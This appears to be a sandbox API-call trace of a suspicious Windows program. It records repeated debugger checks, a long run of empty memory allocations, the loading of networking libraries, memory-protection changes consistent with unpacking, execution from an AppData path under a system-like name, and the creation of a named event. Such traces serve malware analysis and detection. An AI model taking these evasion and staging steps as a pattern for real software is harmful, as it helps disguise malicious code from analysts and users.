[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.356] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.356] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.356] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.356] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.356] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.356] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.356] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.356] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.356] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.356] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.356] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.356] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.356] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.356] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.356] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.356] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.356] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.356] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.356] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.356] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.356] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.357] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.358] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.359] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.359] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.359] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.359] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.359] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.359] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.359] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.359] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.359] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.359] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.359] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.359] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.359] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.359] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.359] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.359] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.359] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.359] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.359] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.359] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.359] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.360] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.361] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.361] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.361] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.361] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.361] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.361] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.361] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.361] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.361] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.361] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.361] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.361] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.361] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.361] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.361] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.361] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.361] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.361] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.361] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.361] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.361] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.362] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.363] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.364] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.364] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.364] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.364] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.364] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.364] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.364] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.364] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.364] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.364] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.364] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.364] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.364] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.364] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.364] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.364] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.364] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.364] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.364] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.364] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.364] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.365] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.366] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.366] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.366] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.366] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.366] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.366] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.366] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.366] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.421] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0065.422] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0065.422] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0065.422] VirtualAlloc (lpAddress=0x0, dwSize=0xd000, flAllocationType=0x1000, flProtect=0x4) returned 0x170000
[0065.423] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76350000
[0065.423] GetProcAddress (hModule=0x76350000, lpProcName="WTSGetActiveConsoleSessionId") returned 0x7638480b
[0065.424] FreeConsole () returned 0
[0065.424] VirtualProtect (in: lpAddress=0x171000, dwSize=0x885f, flNewProtect=0x20, lpflOldProtect=0x12fd90 | out: lpflOldProtect=0x12fd90*=0x4) returned 1
[0065.424] VirtualProtect (in: lpAddress=0x17a000, dwSize=0xb12, flNewProtect=0x2, lpflOldProtect=0x12fd90 | out: lpflOldProtect=0x12fd90*=0x4) returned 1
[0065.424] VirtualProtect (in: lpAddress=0x17b000, dwSize=0xbd8, flNewProtect=0x4, lpflOldProtect=0x12fd90 | out: lpflOldProtect=0x12fd90*=0x4) returned 1
[0065.424] VirtualProtect (in: lpAddress=0x17c000, dwSize=0x4d8, flNewProtect=0x2, lpflOldProtect=0x12fd90 | out: lpflOldProtect=0x12fd90*=0x4) returned 1
[0065.424] VirtualProtect (in: lpAddress=0x170000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x12fd90 | out: lpflOldProtect=0x12fd90*=0x4) returned 1
[0067.684] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x12fc18, nSize=0x104 | out: lpFilename="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe")) returned 0x3f
[0067.684] _snwprintf (in: _Dest=0x12fe20, _Count=0x40, _Format="E%X" | out: _Dest="E68B1B0D0") returned 9
[0067.684] _snwprintf (in: _Dest=0x12fea0, _Count=0x40, _Format="M%X" | out: _Dest="M68B1B0D0") returned 9
[0067.684] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName="E68B1B0D0") returned 0xbc
